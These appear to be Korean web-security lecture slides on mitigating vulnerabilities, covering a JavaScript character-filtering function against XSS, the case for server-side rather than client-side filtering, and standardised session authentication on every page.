06 웹의 취약점 보완 특수문자 필터링 XSS 공격은 다음과 같은 함수를 이용해서 본문에 포함되는 주요 특수문자를 제거할 수 있음. function RemoveBad(InStr){ InStr = InStr.replace(/\</g,""); InStr = InStr.replace(/\>/g,""); InStr = InStr.replace(/\&/g,""); InStr = InStr.replace(/\"/g,""); InStr = InStr.replace(/\?/g,""); InStr = InStr.replace(/\'/g,""); InStr = InStr.replace(/\//g,""); return InStr; }

06 웹의 취약점 보완 서버 측 통제 작용 지속적인 세션 관리 CSS 기반의 언어는 웹 프록시를 통해 웹 브라우저에 전달되기 때문에 웹 프록시를 통해 전달되는 과정에서 변조될 가능성이 있음. 따라서 CSS 기반의 언어로 필터링할 경우 공격자가 필터링 로 직만 파악하면 쉽게 필터링이 무력화됨. 필터링 로직은 ASP, JSP 등과 같은 SSS로 필터링을 수행해 야 함. 지속적인 세션 관리 URL 접근 제한 실패를 막기 위해서는 기본적으로 모든 웹 페 이지에 세션에 대한 인증을 수행해야 함. 모든 웹 페이지에 대해 일관성 있는 인증 로직을 적용하려 면 기업 단위에서 또는 웹 사이트 단위에서 세션 인증 로직 을 표준화해야 하고, 모든 웹 페이지를 개발할 때 해당 표준 을 준수하도록 해야 함. [그림 4-61] 사용자의 입력을 핉터링한 후 SQL 삽입 공격 실패